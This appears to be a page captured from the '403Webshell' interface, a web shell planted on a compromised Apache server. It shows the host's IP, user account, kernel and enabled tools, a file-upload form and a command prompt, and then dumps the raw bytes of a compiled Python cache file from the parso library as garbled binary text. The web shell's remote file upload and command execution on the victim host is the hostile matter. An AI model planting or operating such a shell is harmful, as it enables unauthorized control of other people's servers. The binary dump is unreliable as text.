403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/parso/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/parso/__pycache__/cache.cpython-311.pyc
�

̑�a!����UddlZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
mZddlm
Z
mZeje��ZdZ	dZ	dZ	dZ	ej���dejd�ejd�de��Z	d	�Ze��Z	d
Zdd�ZiZe
eefed<Gd
�d��Z dd�Z!dd�Z"d�Z#dd�Z$dd�Z%dd�Z&defd�Z'd�Z(dd�Z)dd�Z*dd�Z+dS)�N)�Path)�Dict�AnyiXi�'�!�-�c��tj�����dkr&tt	jd��pddd��}n`tj�����dkrtdddd��}n$tt	jd��pd	d
��}|���S)N�windows�LOCALAPPDATA�~�Parso�darwin�Library�Caches�XDG_CACHE_HOMEz~/.cache�parso)�platform�system�lowerr�os�getenv�
expanduser)�dir_s �-/usr/lib/python3/dist-packages/parso/cache.py�_get_default_cache_pathrBs��������� � �I�-�-��B�I�n�-�-�4��g�w�G�G���	��	�	�	 �	 �	"�	"�h�	.�	.��C��H�g�6�6����B�I�.�/�/�=�:�w�G�G���?�?����i�Qc�>�|pt}|�d��S)z�
    The path where the cache lock is stored.

    Cache lock will prevent continous cache clearing and only allow garbage
    collection once a day (can be configured in _CACHE_CLEAR_THRESHOLD).
    zPARSO-CACHE-LOCK)�_default_cache_path�joinpath��
cache_paths r�_get_cache_clear_lock_pathr"Ys$���2�2�J����1�2�2�2r�parser_cachec��eZdZdd�ZdS)�_NodeCacheItemNc�h�||_||_|�tj��}||_||_dS�N)�node�lines�time�change_time�	last_used)�selfr(r)r+s    r�__init__z_NodeCacheItem.__init__hs4����	���
����)�+�+�K�&���$����rr')�__name__�
__module__�__qualname__r.�rrr%r%gs(������%�%�%�%�%�%rr%c��|���}|�dS	t||j}||jkrt	j��|_|jSdS#t$rt||j||���cYSwxYw)z0
    Returns a module or None, if it fails.
    Nr )	�get_last_modifiedr#�pathr+r*r,r(�KeyError�_load_from_file_system)�hashed_grammar�file_ior!�p_time�module_cache_items     r�load_moduler<qs����
&�
&�
(�
(�F�
�~��t�
�(��8���F���&�2�2�2�*.�)�+�+��'�$�)�)�3�2���
�
�
�%���L��!�	
�
�
�	
�	
�	
�
���s�AA�"B�Bc���t|||���}	|tj�|��krdSt	|d��5}tj��	tj|��}tj	��n#tj	��wxYw	ddd��n#1swxYwYt|||��t�d|��|j
S#t$rYdSwxYw)Nr �rbzpickle loaded: %s)�_get_hashed_pathrr5�getmtime�open�gc�disable�pickle�load�enable�_set_cache_item�LOG�debugr(�FileNotFoundError)r8r5r:r!�fr;s      rr7r7�s1��!�.�$�:�N�N�N�J�&��B�G�$�$�Z�0�0�0�0��4�
�*�d�
#�
#�	�q��J�L�L�L�
�$*�K��N�N�!��	�������	���������	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	���.?�@�@�@��	�	�%�t�,�,�,� �%�%�������t�t����sR�#C)�C)�	B+�B�2B+�B�B+�C)�+B/�/C)�2B/�3C)�)
C7�6C7c�z��td�t���D����tkrbt	j��t
z
�t���D]-\}}�fd�|���D��t|<�.|t�|i��|<dS)Nc3�4K�|]}t|��V��dSr')�len)�.0�vs  r�	<genexpr>z"_set_cache_item.<locals>.<genexpr>�s(����
1�
1�a�3�q�6�6�
1�
1�
1�
1�
1�
1rc�2��i|]\}}|j�k�||��Sr2)r,)rOr5�	node_item�cutoff_times   �r�
<dictcomp>z#_set_cache_item.<locals>.<dictcomp>�s7���!�!�!�#�D�)��&��4�4��i�4�4�4r)�sumr#�values�_CACHED_SIZE_TRIGGERr*�_CACHED_FILE_MINIMUM_SURVIVAL�items�
setdefault)r8r5r;�key�path_to_item_maprTs     @rrGrG�s����
�
1�
1�<�.�.�0�0�
1�
1�
1�1�1�5I�I�I��i�k�k�$A�A��%1�%7�%7�%9�%9�	�	�!�C�!�!�!�!�!�'7�'=�'=�'?�'?�!�!�!�L����9J�L���N�B�/�/��5�5�5rTc�h�|j}	|�dn|���}n#t$rd}d}YnwxYwt|||��}t	|||��|rV|�V	t||||���t
|���dS#t$r!tj	d|zt��YdSwxYwdSdS)NFr z6Tried to save a file to %s, but got permission denied.)r5r4�OSErrorr%rG�_save_to_file_system�_remove_cache_and_update_lock�PermissionError�warnings�warn�Warning)	r8r9�moduler)�picklingr!r5r:�items	         r�try_to_save_moduleri�s���<�D������7�+D�+D�+F�+F�������������������&�%��0�0�D��N�D�$�/�/�/��A�D�$�	A� ���t�
�S�S�S�S�
*�Z�@�@�@�@�@�@���	�	�	�
�M�H�4�O��
�
�
�
�
�
�		����A�A�$�$s�"�3�3�B�'B-�,B-c��tt|||���d��5}tj||tj��ddd��dS#1swxYwYdS)Nr �wb)rAr?rD�dump�HIGHEST_PROTOCOL)r8r5rhr!rKs     rr`r`�s���	
��~�t�
�K�K�K�T�	R�	R�6�VW���D�!�V�4�5�5�5�6�6�6�6�6�6�6�6�6�6�6�6����6�6�6�6�6�6s�!A�A�Ac�r�|�t}tj|��t���dSr')r�shutil�rmtreer#�clearr s r�clear_cacherr�s5����(�
�
�M�*�����������rc��|�t}|���sdStj|��D]�}|�|��}|���s�,tj|��D]c}|���jtztj
��kr+	tj|j���S#t$rY�_wxYw�d��dS)NFT)r�existsr�listdirr�is_dir�scandir�stat�st_atime�_CACHED_FILE_MAXIMUM_SURVIVALr*�remover5r_)r!�inactivity_threshold�dirname�version_path�files     r�clear_inactive_cacher��s�����(�
��������u��:�j�)�)����!�*�*�7�3�3���"�"�$�$�	���J�|�,�,�	�	�D��y�y�{�{�#�&C�C�t�y�{�{�R�R���I�d�i�(�(�(�(�������H�����S�	��ts�-C�
C�Cc���	tj|d��nO#t$rB	t|d��}|���n#t
tf$rYYdSwxYwYnwxYwdS)N�aFT)r�utimerJrA�closer_�IOError)r5rs  r�_touchr��s����
���t����������	���c�?�?�D��J�J�L�L�L�L����!�	�	�	��5�5�5�	����
�L������4s2��
A$�$A�A$�A�A$�A�A$�#A$c��t|���}	tj�|��}n#t$rd}YnwxYw|�|t
zt
j��kr#t|��sdSt|���dSdS)Nr F)	r"rr5r@rJ�_CACHE_CLEAR_THRESHOLDr*r�r�)r!�	lock_path�clear_lock_times   rrara�s���*�j�A�A�A�I���'�*�*�9�5�5����������������	���3�3�t�y�{�{�B�B��i� � �	��5��
�3�3�3�3�3�3�C�Bs�2�A�Ac��t|���}tjt|���d�������}tj�||�d|�d���S)Nr zutf-8rz.pkl)	�_get_cache_directory_path�hashlib�sha256�str�encode�	hexdigestrr5�join)r8r5r!�	directory�	file_hashs     rr?r?sd��)�Z�@�@�@�I���s�4�y�y�/�/��8�8�9�9�C�C�E�E�I�
�7�<�<�	�.�.�.�)�)�)�#L�M�M�Mrc��|�t}|�t��}|���st	j|��|Sr')rr�_VERSION_TAGrtr�makedirs)r!r�s  rr�r�
sJ����(�
��#�#�L�1�1�I�������
��I�����rr')TN),r*r�sysr�rBror�loggingrcrD�pathlibr�typingrr�	getLoggerr/rHrYrzrX�_PICKLE_VERSION�python_implementation�version_infor�rrr�r"r#r��__annotations__r%r<r7rGrir`rrr�r�rar?r�r2rr�<module>r�s��������	�	�	�	�
�
�
�
�����	�	�	�	�
�
�
�
�������������
�
�
�
����������������g���!�!�� '���!2���
��	���
�#�H�"�$�$�$�$���Q�����Q�����O�	������.�-�/�/���&��3�3�3�3� "��d�3��8�n�!�!�!�%�%�%�%�%�%�%�%�
�
�
�
�,&�&�&�&�*
J�
J�
J� A�A�A�A�26�6�6�6�
�����6�����,	�	�	�4�4�4�4�&N�N�N�N������r

Youez - 2016 - github.com/yon3zu
LinuXploit